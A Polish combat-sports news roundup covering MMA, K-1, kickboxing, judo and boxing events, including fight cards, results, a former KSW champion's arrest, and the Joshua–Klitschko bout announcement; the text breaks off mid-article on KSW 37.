kat. 57 kg – formuła MMA

Katarzyna Biegajło (0-0-0) [PL] vs Natalia Baczyńska(0-0-0) [PL]

kat. 56 kg – formuła K-1

Małgorzata Dymus (3-3-0) [PL] vs Daniela Graf (23-5-1) [GER] 

kat. 60 kg – formuła MMA

Katarzyna Sadura (2-1-0) [PL] vs Clemence Schreiber (3-6-0) [FR]

kat. 56 kg – formuła K-1

Patrycja Krawczyk [PL] (6-0-0) vs Erika Rinne (0-0-0) [FIN]

kat. 52 kg – formuła MMA

Weronika Zygmunt [PL] (3-2-0) vs Magdalena Sormova (3-0-0) [CZ]

kat. 52 kg – formuła K-1

Monika Bohn [PL] (2-2-0) vs Magdalena Kasprzyk (1-2-0) [PL]

kat. 66 kg – formuła MMA

Martyna Czech [PL] (3-1-0) vs Laura Ciulkeviciute (2-0-0 rekord semi-pro) [LIT]

kat. 61 kg – formuła K-1

Katarzyna Posiadała [PL] (3-1-0) vs Lucia Mudrochova (18-2-0) [CZ]

A w walce wieczoru:

kat. 58 kg – formuła MMA

Agnieszka Niedźwidź [PL] (8-0-0) vs Samara Santos Cunha (10-1-1) [BR]

Czołowy polski zawodnik MMA zatrzymany

We wtorek, 13 grudnia, Centralne Biuro Policji zatrzymało byłego mistrza KSW Michała M. Według najnowszych doniesień, usłyszał zarzuty i najbliższe trzy miesiące spędzi w areszcie.

Ta wiadomość zelektryzowała całą sportową Polskę. Chodzi przecież o jednego z najbardziej rozpoznawalnych i utytułowanych zawodników MMA w kraju. Warto dodać, że oprócz Michała M., policja zatrzymała ponad 20 osób na terenie trzech województw.

Usłyszał zarzuty

13 grudnia, godz. 6.00. Funkcjonariusze CBŚ przy użyciu materiałów wybuchowych i granatów hukowych, wkroczyli do mieszkania 32-letniego Michała M. Cała sytuacja rozgrywała się w obecności żony i dzieci zawodnika. Manager M., Norbert Sawicki, w rozmowie z portalem GS.pl24 zwracał uwagę na drastyczny charakter zdarzenia i zastosowanie nieadekwatnych do sytuacji środków. Obrońcą Michała M. jest mecenas Jakub Łysakowski. Sprawę byłego mistrza wagi średniej KSW prowadzi Prokuratura Okręgowa w Poznaniu.

Sytuacja jest niezwykle dynamiczna, jednak jedno jest pewne – wszyscy przeżyli ogromne zaskoczenie. Oliwy do ognia dolało postawienie Michałowi M. zarzut udział w grupie przestępczej. Zawodnik spędzi w areszcie co najmniej trzy miesiące.

Oświadczenie KSW

Michał M. jest jedną z gwiazd KSW. Organizacja zajęła stanowisko w sprawie zatrzymania zawodnika. – W związku z ostatnimi doniesieniami medialnymi w sprawie zatrzymania Michała Materli przez funkcjonariuszy Centralnego Biura Śledczego, oświadczamy, że KSW zajmie stanowisko w tej sprawie w momencie podania przez organy państwowe do wiadomości publicznej informacji nt. powodów zatrzymania oraz ewentualnego prawomocnego wyroku sądu – czytamy w oświadczeniu KSW.

Przedstawiciele federacji podkreślają znaczenie Michała M. dla środowiska MMA. Jednocześnie zwracają uwagę, że za wcześnie, aby wyciągać daleko idące wnioski – Mamy też świadomość, że dla wielu wojowników sport stał się nową, lepszą drogą, dzięki której wyszli z trudnych życiowych sytuacji – dlatego z zasady nie skreślamy nikogo, kto naprawił swoje błędy i uregulował sytuację prawną, za przeszłość.  Jednocześnie, w KSW nie ma i nie będzie miejsca na naruszanie prawa. I w tym zakresie KSW nie będzie stosowało taryfy ulgowej wobec kogokolwiek. Czy w tym przypadku prawo zostało złamane, zdecyduje sąd i jego prawomocny wyrok – podało KSW.

Udany rok…

32-latek pochodzący ze Szczecina w tym roku stoczył dwie walki dla KSW. W obu stronach pokazał się z dobrej strony i zrehabilitował się za zeszłoroczną porażkę z Mamedem Khalidovem, w której stracił pas wagi średniej.

W ostatnim pojedynku efektownie rozprawił się z Rousimarem Palharesem.

KM

Ruszyła sprzedaż biletów na FEN 16 Warsaw Reloaded

FEN 16 Warsaw Reloaded – pod taką nazwą federacja Fight Exclusive Night zorganizuje 11 marca na Torwarze swoją drugą przyszłoroczną galę MMA i K-1. Bilety na to wydarzenie można już kupować w serwisach Eventim.pl oraz KupBilet.pl.

Karta walk gali FEN 16 Warsaw Reloaded będzie wyjątkowo mocna – wiosną na Torwarze wystąpi czołówka polskich zawodników MMA i K-1 oraz świetni fighterzy zza granicy. W walce wieczoru ponownie zobaczymy jednego z najlepszych piórkowych europejskiego MMA, niepokonanego od blisko czterech lat Kamila „Bombę” Łebkowskiego (15-4), który postara się do jedenastu przedłużyć swoją imponującą serię zwycięstw z rzędu. W Warszawie wystąpią również aktualni mistrzowie organizacji w tej formule – Francuz Davy Gallon (15-5-2), posiadacz pasa w kategorii półśredniej, oraz Przemysław „Polish Bear” Mysiala (20-9-1), zdobywca tytułu w wadze półciężkiej.

Kibiców czekają także pojedynki MMA z udziałem byłego fightera UFC Pawła „Plastinho” Pawlaka (11-3), Marcina Naruszczki (17-5-1), który od października 2015 roku wygrał pięć kolejnych walk, oraz Pawła Żelazowskiego (9-2), który na poprzednich galach FEN odniósł dwa efektowne zwycięstwa przed czasem. Trzeci raz w Fight Exclusive Night walczyć będzie też jeden z największych showmanów organizacji, zdobywca Pucharu Europy WAKO w K-1, Pucharu Europy WAKO w kickboxing low-kick i złotego medalu Polish Open – Marcin Szreder (4-1).

Bilety na FEN 16 Warsaw Reloaded można już kupować online w serwisach Eventim.pl oraz KupBilet.pl, a także u zawodników walczących na gali. Zamówienia na bilety VIP oraz zamówienia grupowe można składać pod numerem tel. 601 877 229.

FEN 16 Warsaw Reloaded to drugie zawody Fight Exclusive Night w Warszawie. Poprzednia, stojąca na bardzo wysokim poziomie gala FEN 11 Warsaw Time zgromadziła na trybunach Torwaru komplet publiczności. Kibice obejrzeli wówczas m.in. fantastyczną walkę o pas Romana Szymańskiego z Marianem Ziółkowskim, efektowne zwycięstwa przez TKO Tyberiusza Kowalczyka z Akopem Szostakiem i Marcina Naruszczki z Rafałem Haratykiem oraz zakończony ekstra rundą zacięty pojedynek Arkadiusza Wrzoska z Niko Falinem. Sądząc po już ogłoszonych nazwiskach, wiosną 2017 roku fanów sportów walki czeka w stolicy równie emocjonujące widowisko.

FEN

Dwie wojskowe mistrzynie

Za nami Wojskowe Mistrzostwa Świata w szwajcarskiej miejscowości Uster. Polacy zakończyli rywalizację z dorobkiem sześciu medali, w tym dwóch złotych. Z tytułem najlepszych „wojskowych” judoczek wracają Arleta Podolak (57kg) i Agata Ozdoba (63kg).

Ciężki sezon na tatami zakończył się wraz z turniejem Grand Slam w Tokio, jednak nie dotyczyło to wszystkich. Judocy w mundurach musieli udać się do Szwajcarii. Naszą kadrę na mistrzostwach świata reprezentowało siedmioro zawodników.

Rozłożyły wszystkich na łopatki

Arleta Podolak (57kg) i Agata Ozdoba (63kg) z ogromną energią przystąpiły do rywalizacji w Uster. Niczym rozpędzone żywioły pokonywały wszystko, co napotkały na swojej drodze. W tym przypadku chodzi o kolejne rywalki. Podolak i Ozdoba wygrały po sześć walk, co dało im triumf w wojskowych mistrzostwach świata. 

Dla 23-letniej judoczki to kolejny tegoroczny sukces. Podolak wystąpiła w Igrzyskach Olimpijskich w Rio de Janeiro, a także wygrywała turnieje w Warszawie i Ałmatach. W „mundurze” zdobywała medal w drużynie. Ma na koncie srebro światowych wojskowych igrzysk sportowych, brąz mistrzostw Europy, do których dołożyła brąz w Szwajcarii. Również Ozdoba ma na swoim koncie „wojskowe” zdobycze. W 2015 roku sięgnęła po wicemistrzostwo świata i srebro światowych wojskowych igrzysk sportowych. 

Po raz pierwszy w Wojskowych Mistrzostwach Świata zaprezentowała się Karolina Pieńkowska (52kg). Młodzieżowa mistrzyni Europy z 2015 roku była o krok od triumfu. Lepsza od Polki była tylko Julia Ryzhova z Rosji. Pieńkowska wygrała cztery walki i zakończyła rywalizację ze srebrnym medalem.

Brązowe medale wywalczyli Kinga Kubicka (48kg) oraz Łukasz Błach (81kg). 32-letnia Polka wygrała jedną walkę i mogła cieszyć się z miejsca na podium. Z kolei Błach triumfował w trzech pojedynkach. Poza podium, na 5. pozycjach, uplasowały się Karolina Tałach (63kg) i Daria Pogorzelec (70kg).

Mocna drużyna

Reprezentacja Polski kobiet pokazała, że jest niezwykle mocna. W tegorocznych mistrzostwach Europy w Kazaniu biało-czerwone sięgnęły po złoto. Z kolei w Szwajcarii „nasze wojskowe”, z których część miała w pamięci start w Rosji, wywalczyły brąz. Polki wygrały z Austrią i Francją po 4:1. Lepsze od naszej kadry okazały się Rosjanki i Chinki. Pierwszoplanowymi postaciami w rywalizacji drużynowej były Arleta Podolak i Agata Ozdoba, które wygrały po trzy pojedynki.

W Uster Polacy poprawili wynik sprzed trzech lat. Z Astany przywieźli trzy medale, teraz podwoili dorobek. 

Fot. EJU

KM

Polak w europejskich strukturach judo

Wiesław Błach znalazł się we władzach Europejskiej Unii Judo. 54-letni będzie piastował stanowisko dyrektora sportowego. W Atenach odbył się kongres europejskiej centrali, zgromadzeni mieli okazję nieco bliżej poznać Warszawę.

Nie da się ukryć, że instytucje międzynarodowe mają ogromny wpływ na funkcjonowanie poszczególnych państw. Członkowie Unii Europejskiej muszą wdrażać na swoim terenie prawo ustanowione przez poszczególne organy wspólnoty. Podany przykład pokazuje pewien schemat działania. W świecie sportu sytuacja ma się podobnie. Nominacja dla Wiesława Błacha to docenienie polskiego środowiska judo oraz jasny sygnał, że w naszym kraju nie brak osób kompetentnych do pełnienia wysokich stanowisk.

Czas na Europę  

54-letni Błach oddał judo całe serce. Przed laty fantastycznie prezentował się na tatami, czego najlepszym potwierdzeniem jest brązowy medal mistrzostw świata w kategorii 71kg zdobyty w Seulu w 1985 roku. Dwa lata później Polak sięgnął po mistrzostwo Europy. Na swoim koncie ma także starty na Igrzyskach Olimpijskich: Seul 1988 i Barcelona 1992. Po zakończeniu kariery zawodniczej, Błach realizował się jako trener. Z sukcesami prowadził AZS AWF Wrocław, w barwach którego po medale mistrzostw kraju sięgały m.in. Beata Maksymow i Anita Kubica. Mistrz Europy z Paryża dostąpił zaszczytu prowadzenia reprezentacji kobiet. Pod jego wodzą srebro na Igrzyska Olimpijskich w Atlancie w 1996 roku zdobyła Aneta Szczepańska. Błach prowadził również męską kadrę oraz pracował w Belgii. 

W grudniu 2008 roku Błach został prezesem Polskiego Związku Judo. Po czterech latach ponownie wybrano go na to stanowisko, jednak okazało się, że w sposób wadliwy. W związku z tym w listopadzie 2014 roku do związku wprowadzono kuratora. Na nadzwyczajnym kongresie wyborczym nowym prezesem został Sławomir Kownacki. Błach nie ubiegał się o fotel. Za jego pierwszej kadencji trudno mówić o sukcesach, jednak kolejne lata to przebudzenie w polskim judo. Brąz kadry kobiet w Montpellier czy trzecie miejsce Katarzyny Kłys na mistrzostwach świata w Czelabińsku były optymistycznymi akcentami.

Po przygodach na krajowym podwórku, 54-letni Błach znalazł się w Europejskiej Unii Judo. Stanowisko dyrektora sportowego to nowe doświadczenie, ale i możliwości. Błach będzie przecierał szlaki innym rodakom, bo jako pierwszy Polak dostąpił zaszczytu zasiadania na tak wysokim szczeblu w europejskiej hierarchii. Dotychczas posadę dyrektora sportowego piastował Alexander Jatskevich, któremu teraz przypadły sprawy sędziowskie. Prezesem Europejskiej Unii Judo nadal będzie Sergey Soloveychik. 

Teraz Warszawa

Podczas kongresu europejskich władz judo w Atenach miała miejsce oficjalna prezentacja Warszawy. Już za kilka miesięcy w stolicy Polski pojawią się najlepsi judocy ze Starego Kontynentu, którzy powalczą o medale mistrzostw Europy. Impreza odbędzie się w dniach 20-23 kwietnia. Warto przypomnieć, że Polska wygrała rywalizację o organizację turnieju z Niemcami.

Europejski czempionat po raz kolejny zawita do naszego kraju. W 1994 roku mistrzostwa odbyły się w Gdańsku, a sześć lat później we Wrocławiu.

KM

Rumun chce wrócić

Ciągnie wilka do lasu. Niejeden wojownik mimo rozłąki ze sportami walki zdecydował się na powrót na arenę. Po raz ostatni Daniela Ghitę można było obserwować ponad dwa lata temu. Rumuński kickboxer rozważa powrót do rywalizacji.

35-letni Ghita zapisał bogatą kartę w wadze ciężkiej. Miłośnicy kickboxingu mogli go podziwiać na galach takich organizacji It's Showtime i Glory. Czy ponownie zobaczymy go w akcji?

Długa przerwa

Przez lata piął się w światowej hierarchii kickboxingu aż w końcu dotarł na sam szczyt. Wielki, blisko 2-metrowy i ważący ponad 100 kg, zawodnik zyskał sympatię publiczności, gdyż zawsze dawał z siebie maksimum i prezentował się efektownie. Na szerokie wody Ghita wypłynął dzięki dobrej postawie w rumuńskiej organizacji Local Kombat. Znaczącym osiągnięciem Rumuna jest wywalczenie mistrzostwa Europy WKN w boksie tajskim w 2005 roku. W finale Ghita pokonał Mourada Bouzidiego.

Imponował skutecznością. Podczas kolejnych występów na galach Local Kombat odprawiał rywali przed czasem. W końcu spróbował swoich sił w K-1. Na gali Fighting Network Rumunia 2007 pokonał Nobu Hayashiego. Wielki świat stanął przed Ghitą otworem w 2009 roku, kiedy dostał szansę występu w turnieju kwalifikacyjnym K-1 World Grand Prix w Tokio. Rumun niczym huragan przeszedł przez japoński turniej i pokonał trzech rywali. Potrzebował na to nieco ponad pięć minut. We wrześniowym final 16 nie zdołał znaleźć recepty na mocnego Semmy'ego Schilta. Później występował na galach Showtime. W 2010 roku wygrana z Errolem Zimmermanm, którego znokautował prawym prostym dała mu awans do finału K-1 World Grand Prix. 

Znakomity w wykonaniu Ghity był rok 2012. Rumuński kickboxer wygrał osiem walk, poniósł zaledwie jedną porażkę. Kibice czekali na jego pojedynki, bo gwarantował widowisko. Nie potrafił znaleźć recepty na Semmy'ego Schilta i Gokhana Sakiego, z którymi przegrywał dwukrotnie. Ostatnie zwycięstwo odniósł w grudniu 2014 roku. W zaledwie 35 sekund uporał się z Errolem Zimmermanem. Na ostatniej prostej swojej kariery dwukrotnie przegrał z Rico Verhoevenem. W obu przypadkach przez decyzję sędziów. To może być jeden z powodów, dla których 35-latek chce wrócić.   

Konflikt gwiazd

Trudno powiedzieć, że Ghita i Verhoeven darzą się sympatią. Po pierwsze, Rumun przegrał z Holendrem dwukrotnie, jednak trudno jednoznacznie potwierdzić zdecydowaną wyższość obecnego mistrza Glory w wadze ciężkiej. Po drugie, Verhoeven niepochlebnie wyrażał się o rywalu. Swego czasu nazwał go „rumuńskim Cyganem”. Ghita nie pozostał dłużny i stwierdził, że Holender jest pupilem włodarzy Glory i dlatego jest posiadaczem pasa.

Powrót Ghity zapowiada się niezwykle ciekawie. Wstępne deklaracje jeszcze nic nie przesądzają. Pojawiają się pytania o potencjalnych rywali i organizację, dla której miałby walczyć. Z pewnością 35-latek gwarantowałby wysoki poziom. W 61 walkach zanotował aż 50 zwycięstw. To wystawia mu najlepsze świadectwo jego umiejętności.

KM

Harth nie zagroził Włodarczykowi

Trzecie zwycięstwo w tegorocznych występach zanotował Krzysztof „Diablo” Włodarczyk. We Wrocławiu były mistrz świata WBC wagi junior ciężkiej pokonał na punkty Leona Hartha.

Ormiański Niemiec stanął przed szansą wywalczenia należącego do Włodarczyka pasa IBF Inter-Continental. Dla 28-letniego Hartha była to spora szansa, jednak nie udźwignął stawki rywalizacji.

Bez rewelacji

Włodarczyk konsekwentnie idzie do przodu. Powszechnie wiadomo, że 35-letniemu „Diablo” przyświeca cel ponownego wejścia na szczyt. We wrześniu 2014 roku utracił pas WBC wagi junior ciężkiej na rzecz Grigorija Drozda. Polak wrócił na ring po półrocznej przerwie. Wiadomo było, że potrzebuje czasu na odbudowę. Szybko uporał si z Valery'm Brudowem i Kaiem Kurzawą. Miał walczyć z Olanrewaju Durodolą, jednak gala w Krakowie została odwołana. Udało się jednak zakontraktować kolejny pojedynek. Leon Harth rysował się jako solidny rywal, który większość pojedynków (10 z 14) wygrał przed czasem. Poniósł tylko jedną porażkę. Zapewniał, że jest gotowy na rywalizację z Włodarczykiem, którą rozpatrywał w kategorii wyzwania, a zwycięstwo miało stanowić dla niego krok naprzód.

Wiadomo, że Polak górował nad Niemcem doświadczeniem. Pojedynek rozpoczął się spokojnie, obaj pięściarze postawili na stopniowe rozpoznanie swoich możliwości. Harth wyrwał się z prawym sierpowym, jednak nic więcej od siebie nie dodał. Co warto podkreślić, z obu stron groźnych ciosów było niewiele. Włodarczyk parł do przodu, jednak efektów brakowało. „Diablo” zbierał punkty, ale walka nie porywała. Ormianin z niemieckim paszportem nie grzeszył aktywnością i często stopował pojedynek. Zdarzało się, że wyprowadził cios, ale nie potrafił przebić się przez gardę Polaka. Wraz z upływem czasu widać było, że Harth słabnie. 28-latek postawił na defensywę, co otwierało szansę przed Włodarczykiem. Były mistrz świata nie zachwycił, ale zrobił na tyle dużo, żeby sędziowie mogli jednogłośnie przyznać mu zwycięstwo. 116:112, 115:113 i 116:112 dla Włodarczyka.

Mówiło się, że wygrana przybliży „Diablo” do walki o mistrzostwo świata. Polak odniósł 52. zwycięstwo w zawodowej karierze. Akcje byłego mistrza świata poszły w górę. W przyszłym roku Włodarczyk może powalczyć o najwyższe cele.

Triumf Cieślaka

Piętnaste zwycięstwo w karierze zapisał na swoim koncie Michał Cieślak. We Wrocławiu 27-latek pokonał Nikodema Jeżewskiego i sięgnął po tytuł mistrza Polski w wadze junior ciężkiej. Od początku obaj pięściarze byli aktywni, jednak w drugiej rundzie zaznaczyła się przewaga Cieślaka. Jeżewski miał coraz mniej do powiedzenia. Mimo to, w trzeciej rundzie zaskoczył Cieślaka, który był liczony. Po chwili sytuacja odwróciła się. Prawy sierpowy Cieślaka i Jeżewski znalazł się w tarapatach. Sędzia przerwał pojedynek. Nie obyło się bez gwizdów, bo 27-latek trafił rywala w tył głowy, kiedy ten osunął się po ciosie.

W wadze supr półśredniej pewne zwycięstwo Przemysława Runowskiego, który jednogłośnie na punkty pokonał Mykolę Vovka. Swoje pojedynki wygrali również Przemysław Zyśk i Marek Matyja. Drugą porażkę w karierze zanotował Konrad Dąbrowski. 22-latek rywalizujący w kategorii lekkiej przegrał na punkty z Nadzirem Bakhshyieu.

KM

Łebkowski, Naruszczka i Szreder na gali FEN 16 na Torwarze

Niepokonany od blisko czterech lat Kamil Łebkowski, kroczący od zwycięstwa do zwycięstwa Marcin Naruszczka i jeden z największych showmanów federacji Marcin Szreder – to kolejni zawodnicy dopisani do karty walk gali FEN 16, która odbędzie się 11 marca na Torwarze w Warszawie.

Walka Kamila Łebkowskiego (15-4), który w Fight Exclusive Night debiutował podczas FEN 13 Summer Edition, nie dając żadnych szans byłemu zawodnikowi UFC Piotrowi Hallmannowi, będzie main eventem gali w Warszawie. Z kim „Bomba”, zaliczany do ścisłej czołówki wagi piórkowej w Polsce, powalczy o jedenaste zwycięstwo z rzędu? Tego jeszcze nie wiadomo – nazwisko jego rywala poznamy najwcześniej na początku przyszłego roku.

Podczas stołecznej gali kibiców czeka także pojedynek z udziałem będącego w świetnej formie Marcina Naruszczki (17-5-1), który od października 2015 roku wygrał 5 walk z rzędu, pokonując m.in. Rafała Haratyka i Matta Horwicha. Po raz trzeci w klatkoringu FEN wystąpi też weteran K-1 Marcin Szreder (4-1), który w poprzednich walkach – obu na pełnym dystansie – pewnie wygrał z Aytakiem Yahsim i minimalnie przegrał z Arturem Bizewskim.

Wcześniej włodarze Fight Exclusive Night zdradzili, że na Torwarze wystąpią aktualni mistrzowie organizacji w formule MMA – Francuz Davy Gallon (15-5-2), posiadacz pasa w kategorii półśredniej, oraz Przemysław Mysiala (20-9-1), zdobywca tytułu w wadze półciężkiej. Zaplanowane zostały też walki z udziałem byłego fightera UFC Pawła Pawlaka (11-3) oraz Pawła Żelazowskiego (9-2), który na poprzednich galach FEN odniósł dwa efektowne zwycięstwa przed czasem.

Gala FEN 16 to drugie wydarzenie Fight Exclusive Night w Warszawie. Poprzednie, stojące na bardzo wysokim poziomie zawody federacja zorganizowała w tej samej stołecznej hali w marcu tego roku, wypełniając trybuny do ostatniego miejsca. Sądząc po już ogłoszonych nazwiskach, wiosną 2017 roku kibiców MMA i K-1 czeka na Torwarze równie emocjonujące widowisko.

Sprzedaż biletów na galę FEN 16 za pośrednictwem serwisów Eventim.pl i KupBilet.pl rozpocznie się już w najbliższych dniach.

FEN

Wojownicy wejdą na arenę

Mroźna aura sprawia, że poszukujemy źródeł ciepła. Z pewnością mistrzostwa Polski w kickboxingu w formule oriental rules w Starachowicach rozgrzeją wszystkich kibiców do czerwoności. Impreza odbędzie się w dniach 9-11 grudnia. Transmisję na żywo będzie można śledzić w telewizji FighTime. Zapraszamy!

Oriental rules, czyli efektowne kopnięcia, uderzenia łokciami i kolanami oraz ogromna siła. Takie widowisko musi przyciągać i budzić ciekawość. Wszyscy czekają na efektowne pojedynki.

Coraz więcej chętnych

Hala miejska przy ul. Jana Pawła 22 w Starachowicach czeka już na zawodników. Rejestracja ruszy w piątek (9 grudnia) o godz. 16.00, a walki eliminacyjne zaplanowano na sobotę (10 grudnia). Początek o godz. 9.00. Zapowiada się cały dzień z oriental rules, a decydujące rozstrzygnięcia zapadną w niedzielę. Wtedy odbędą się półfinały i finały.

Starachowice ponownie będą gospodarzem mistrzostw Polski w oriental rules. W zeszłym roku w imprezie wystąpiło ponad 80 zawodników i zawodniczek. Tym razem należy się spodziewać 131 wojowników. Warto dodać, że 14 zawodników wystartuje w zmaganiach kick-light amatorów. W oriental rules do walki o medale szykuje się 117 osób, w tym 12 kobiet. Wychodzi na to, że rok temu Starachowice dobrze wywiązały się z organizacji mistrzostw i teraz zbierają tego owoce. – To kolejna impreza, za którą odpowiadamy. Po raz drugi przygotowujemy mistrzostwa Polski oriental rules. Robimy wszystko, żeby impreza była udana i stała na wysokim poziomie sportowym – mówi FighTime.pl Marek Jasiński, trener Dragona Starachowice i organizator imprezy. – Fakt, że do udziału zgłosiło się więcej zawodników niż rok temu jest dowodem na zwiększenie zainteresowania – dodaje.

Wiadomo, że dla kibiców liczą się przede wszystkim widowiskowe walki. O poziom sportowy zadbają zawodnicy z czołowych polskich klubów. Najwięcej przedstawicieli wystawi Dragon Starachowice – 10. Akademia Sportów Walki Knockout Zielona Góra będzie pośle do boju 8 zawodników, a KGHM Metraco Armia Polkowice oraz Husaria Drutex Słupsk po 7. Drugą stroną medalu jest organizacja imprezy, która ma stać na wysokim poziomie. – Robimy wszystko, żeby wyglądało to jak najlepiej. Postawiliśmy na dobrą promocję. Mimo, że są to zawody amatorskie, będą wyglądały profesjonalnie. Pojawi się rampa oświetleniowa, a mistrzostwa będą transmitowane w telewizji – wyjaśnia Jasiński.

Na co liczy gospodarz?

W starachowickiej hali trwają ostatnie przygotowania. Organizatorzy chcą, żeby wszystko było dopięte na ostatni guzik. Z kolei zawodnicy Dragona Starachowice skupiają się i przygotowują do rywalizacji. Jaki wynik będzie satysfakcjonujący? – Jeśli wywalczymy 4-5 medali, uznam to za satysfakcjonujący wynik – przedstawia trener starachowickiego teamu.

KM

Dogadali się! W kwietniu Joshua vs Kliczko

To wisiało w powietrzu i w końcu stało się faktem. Anthony Joshua zmierzy się z Władimirem Kliczko na stadionie Wembley. Walkę zaplanowano na 29 kwietnia.

Spotkają się dwa bokserskie światy, które dzieli wiele. Joshua i Kliczko mają zupełnie różne doświadczenia, są na różnych etapach przygody z ringiem. Jedno jest pewne: obaj się klasowymi pięściarzami.

Show bez show

Mistrzowska walka w kategorii królewskiej jest ogromnym wydarzeniem. W tym przypadku spotkają się bokserzy, dla których ważny jest ring. Przez lata Władimir Kliczko zapracował na miano zrównoważonego, spokojnego, pewnego siebie, a przede wszystkim w pełni profesjonalnego pięściarza. Bez wątpienia jego dorobek mówi sam za siebie, jednak Ukrainiec ma klasę i potrafi podejść z szacunkiem do każdego rywala. Jest twardy, więc nie wzruszają go żadne prowokacje ze strony rywali. O Kliczko można mówić wiele i w samych superlatywach, choć stracił swój dorobek w starciu z Tysonem Fury'm. Mimo to, trzeba Ukraińcowi oddać, że przez dziesięć lat nie znalazł pogromcy i zdominował wagę ciężką.

Wydaje się, że z lepszej pozycji startuje Anthony Joshua. Świat leży u jego stóp i tylko od niego zależy, czy wykorzysta swoją szansę. Doświadczenia ostatnich miesięcy pokazują, że nie wszyscy są w stanie poradzić sobie z sukcesem. Mowa oczywiście o Fury'm, który zrzekł się pasów WBO i WBA, czym otworzył furtkę do nowego rozdania w kategorii królewskiej. 

Na szczycie stopniowo przebija się Joshua. Brytyjczyk coraz częściej zaczął się pojawiać na ustach komentatorów, bo odprawiał kolejnych bokserów z kwitkiem. Jeszcze nigdy nie walczył na pełnym dystansie. Początkowo patrzono na niego z przymrużeniem oka. Walczył u siebie, wygrywał z mało znanymi rywalami, ale położył Raphaela Zumbano Love i w końcu Kevina Johnsona. Dostał szansę walki o pas IBF i szybko odprawił Charlesa Martina. Młodość, siła, fantazja i co najważniejsze – głowa na właściwym miejscu. Nie widać, aby myśli 27-latka zaprzątało coś innego niż boks.

Emocje czy szachy?

Na stadionie Wembley legenda boksu spotka się ze wschodzącą gwiazdą i ogromnym talentem. Nie będzie zbędych pyskówek i utarczek. W tym przypadku chodzi o walkę i sportowe emocje, choć w ringu można spodziewać się również partii szachów. Jeśli Kliczko przegra, będzie to sygnał, że jego czas dobiega końca. Triumf Joshuy będzie jego sukcesem i potwierdzeniem aspiracji, a po porażce będzie miał czas, żeby się odkuć.

Najpierw Molina

Ukrainiec z utęsknieniem czeka na najbliższą walkę. Po raz ostatni zaprezentował się ponad rok temu, kiedy stracił pasy. 

10 grudnia w Manchesterze Joshua musi pokonać Erica Molinę. Będzie to jego osiemnasta walka w karierze. Porażka 27-latka mogłaby pokrzyżować plany, jednak nikt nie zakłada takiego scenariusza. Obozy obu pięściarzy porozumiały się, co do pojedynku, który ma odbyć się 29 kwietnia na stadionie Wembley. Czy trybuny oszaleją?

KM

Szwarnowiecki tuż za podium

Damian Szwarnowiecki był o krok od wywalczenia brązowego medalu podczas turnieju Jigoro Kano Grand Slam w judo. W decydującej walce lepszy od Polaka okazał się reprezentant Rosji Aslan Lappinagov.

Turniej w Tokio wieńczą tegoroczne zmagania. Zawodnik Gwardii Wrocław, choć nie pojechał na Igrzyska Olimpijskie do Rio de Janeiro,  może być zadowolony ze swojej postawy.

Zmiana kategorii

Jesienne występy Szwarnowiecki rozpoczął w wyższej kategorii wagowej – 81kg. Premierowy występ okazał się niezwykle udany dla polskiego judoki, który we wrześniowym Pucharze Europy w Tallinie zajął trzecie miejsce. Sukces powtórzył w kolejnym starcie. Turniej Grand Prix w Zagrzebiu układał się po myśli Szwarnowieckiego, który wygrał trzy walki, jednak w czwartej lepiej dysponowany okazał się Laszlo Csoknyai. 22-latek z Wrocławia poradził sobie w repasażach, a w starciu o brąz spotkał się z Jakubem Kubieńcem. Brąz dla Szwarnowieckiego.

Dyspozycja Polaka pozwała mieć nadzieję na kolejne dobre występy. Blisko 23-letni judoka pojechał do Tokio na prestiżowe zawody Grand Slam. Trzeci start po zmianie kategorii wagowej rozpoczął się dla Polaka obiecująco. W pierwszym starciu spotkał się z Seidai Sato i wygrał przez yuko. Kolejnym rywalem Szwarnowieckiego był trzeci zawodnik Grand Prix Ułan Bator Hui-Jung Lee. Koreańczyk nie potrafił przeciwstawić się Polakowi, który triumfował przez waza-ari. Niespełna 23-latek szedł po trzeci medal z rzędu, jednak na jego drodze stanął Dominic Ressel. Polak miał już na swoim koncie waza ari, jednak Niemiec przeprowadził decydującą akcję i wygrał przez ippon.

W starciu o brąz Szwarnowiecki spotkał się z Aslanem Lappinagovem. Obaj panowie stali razem na podium w Zagrzebiu, gdzie Rosjanin także zdobył brąz. Powtórki w Tokio być nie mogło, bo los skojarzył Szwarnowieckiego i Lappinagova w bezpośrednim starciu o miejsce na podium. Rosjanin rozstrzygnął pojedynek po upływie półtorej minuty, Polak na piątym miejscu.

Wyjątkowy rok

Damian Szwarnowiecki ma za sobą bardzo dobry rok. Wydawało się, że pojedzie do Rio de Janeiro. Był na liście europejskiej, jednak w ostatniej chwili miejsce zdobyła Arleta Podolak (57kg), co sprawiło, że Szwarnowiecki został w domu. Judoka Gwardii Wrocław wziął udział w mistrzostwach Europy w Kazaniu, jednak z rywalizacją pożegnał się już w drugiej rundzie.

Mimo to, niespełna 23-latek osiągnął najlepsze wyniki w karierze. W kwietniu, jeszcze w kategorii 73kg, wygrał turniej Grand Prix w Samsun. Jesiennymi występami Szwarnowiecki potwierdził wysoką dyspozycję. W tym roku 22-latek czterokrotnie stał na podium w międzynarodowych startach.

KM

Rach, ciach i po sprawie

Mariusz Pudzianowski nie pozostawił żadnych złudzeń raperowi „Popkowi”. „Pudzian” szybko uporał się z rywalem i zanotował dziesiąte zwycięstwo w karierze. Warto dodać, że KSW ma dwóch nowych mistrzów.

Gala KSW 37 „Circus of Pain” zostanie zapamiętana ze względu na starcie Pudzianowskiego z Mikołajuwem. Powrót „Popka” do MMA okazał się nieudany, z kolei „Pudzian” po dwóch porażkach, posmakował zwycięstwa.

Szybka robota

Raper zna smak rywalizacji w MMA, ale po raz ostatni walczył w… 2008 roku. Pudzianowski walczy regularnie i zbiera coraz lepsze recenzje. Potężny cios byłego mistrza świata w zawodach strongman jest postrachem dla kolejnych rywali. O tym, że „Pudzian” ma „parę w łapie” przekonał się Rolles Gracie, który po trzydziestu sekundach zakończył występ na KSW 31.

Starcie Pudzianowskiego i Mikołajuwa działo na wyobraźnię. Pojedynek miał być magnesem, który wzbudzi zainteresowanie galą i spełnił swoją rolę. „Popek” to postać kontrowersyjna, przez co skupia na sobie uwagę i wiele osób śledzi każdy jego ruch. W tym przypadku poziom sportowy stał pod sporym znakiem zapytania. 

